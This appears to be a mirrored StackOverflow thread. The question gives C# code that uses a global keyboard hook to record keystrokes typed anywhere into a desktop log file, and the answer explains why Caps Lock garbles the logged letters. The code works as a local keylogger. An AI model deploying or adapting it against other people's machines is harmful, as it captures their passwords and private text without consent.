Question

I'm using global keyboard hooks as a keyboard listener when the window is out of focus. I'm half way through some code and I realise that for whatever reason, putting caps lock on changes the output of KeyEventArgs. Using shift/no shift outputs ordinary results but if I were to put caps lock on, A will become U, B will become V, C will become W and so on. Here's a look at the code that does this (will add global keyboard hooks if necessary):

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;

namespace WindowsFormsApplication1
{
public partial class Form6 : Form
{
    globalKeyboardHook gkh = new globalKeyboardHook();

    int sign_Indicator = 0;
    double variable1;
    double variable2;
    int addBit = 0;
    int subBit = 0;
    int multBit = 0;
    int divBit = 0;
    int modBit = 0;
    Boolean fl = false;
    String s, x;
    public Form6()
    {
        InitializeComponent();
    }

    private void Form6_Load(object sender, EventArgs e)
    {
        gkh.HookedKeys.Add(Keys.A);
        gkh.HookedKeys.Add(Keys.B);
        gkh.HookedKeys.Add(Keys.C);
        gkh.HookedKeys.Add(Keys.D);
        gkh.HookedKeys.Add(Keys.E);
        gkh.HookedKeys.Add(Keys.F);
        gkh.HookedKeys.Add(Keys.G);
        gkh.HookedKeys.Add(Keys.H);
        gkh.HookedKeys.Add(Keys.I);
        gkh.HookedKeys.Add(Keys.J);
        gkh.HookedKeys.Add(Keys.K);
        gkh.HookedKeys.Add(Keys.L);
        gkh.HookedKeys.Add(Keys.M);
        gkh.HookedKeys.Add(Keys.N);
        gkh.HookedKeys.Add(Keys.O);
        gkh.HookedKeys.Add(Keys.P);
        gkh.HookedKeys.Add(Keys.Q);
        gkh.HookedKeys.Add(Keys.R);
        gkh.HookedKeys.Add(Keys.S);
        gkh.HookedKeys.Add(Keys.T);
        gkh.HookedKeys.Add(Keys.U);
        gkh.HookedKeys.Add(Keys.V);
        gkh.HookedKeys.Add(Keys.W);
        gkh.HookedKeys.Add(Keys.X);
        gkh.HookedKeys.Add(Keys.Y);
        gkh.HookedKeys.Add(Keys.Z);
        gkh.HookedKeys.Add(Keys.D1);
        gkh.HookedKeys.Add(Keys.D2);
        gkh.HookedKeys.Add(Keys.D3);
        gkh.HookedKeys.Add(Keys.D4);
        gkh.HookedKeys.Add(Keys.D5);
        gkh.HookedKeys.Add(Keys.D6);
        gkh.HookedKeys.Add(Keys.D7);
        gkh.HookedKeys.Add(Keys.D8);
        gkh.HookedKeys.Add(Keys.D9);
        gkh.HookedKeys.Add(Keys.D0);
        gkh.HookedKeys.Add(Keys.Return);
        gkh.HookedKeys.Add(Keys.Shift);
        gkh.HookedKeys.Add(Keys.CapsLock);
        gkh.HookedKeys.Add(Keys.Back);
        gkh.HookedKeys.Add(Keys.Escape);
        gkh.HookedKeys.Add(Keys.Space);
        gkh.HookedKeys.Add(Keys.OemPeriod);
        gkh.HookedKeys.Add(Keys.Oemcomma);
        gkh.HookedKeys.Add(Keys.OemMinus);
        gkh.HookedKeys.Add(Keys.Oemplus);
        gkh.HookedKeys.Add(Keys.OemPipe);
        gkh.HookedKeys.Add(Keys.OemBackslash);
        gkh.HookedKeys.Add(Keys.OemOpenBrackets);
        gkh.HookedKeys.Add(Keys.OemCloseBrackets);
        gkh.HookedKeys.Add(Keys.OemQuotes);
        gkh.HookedKeys.Add(Keys.OemSemicolon);
        gkh.HookedKeys.Add(Keys.Oemtilde);

        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
    }

    public static string location = "C:\\Users\\Hayden\\Desktop\\log.txt";

    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        if (e.Modifiers == Keys.Shift)
        {
            if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "|");
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
        }
        else
        {
            if (e.KeyCode == Keys.Return)
            {
                System.IO.File.AppendAllText(@location, "[RETURN]");
            }
            else if (e.KeyCode == Keys.Back)
            {
                System.IO.File.AppendAllText(@location, "[BACKSPACE]");
            }
            else if (e.KeyCode == Keys.Space)
            {
                System.IO.File.AppendAllText(@location, " ");
            }
            else if (e.KeyCode == Keys.OemPeriod)
            {
                System.IO.File.AppendAllText(@location, ".");
            }
            else if (e.KeyCode == Keys.Oemcomma)
            {
                System.IO.File.AppendAllText(@location, ",");
            }
            else if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "\\");
            }
            else if (e.KeyCode == Keys.CapsLock)
            {
                System.IO.File.AppendAllText(@location, "");
            }
            else if (Control.IsKeyLocked(Keys.CapsLock))
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString().ToLower());
            }
        }
    }

How can I fix this? I have no idea why it's changing the letter completely just because I put caps lock on. Shift works fine though.

Was it helpful?

Solution

The globalKeyboardHook class you link to has a AddModifiers(Keys key) method with this line:

if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) key = key | Keys.CapsLock;

This code checks if Cap Lock is on and if so it ORs the key variable which is later returned by the method.

The problem is that Caps Lock is not a modifier key and shouldn't be manipulated this way. This is the reason you're seeing the strange key values you are when Caps Lock in on.

Incidentally, only Control, Shift and Alt are modifier keys and AddModifiers() handles these.

If you remove this line I believe you'll be fine.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top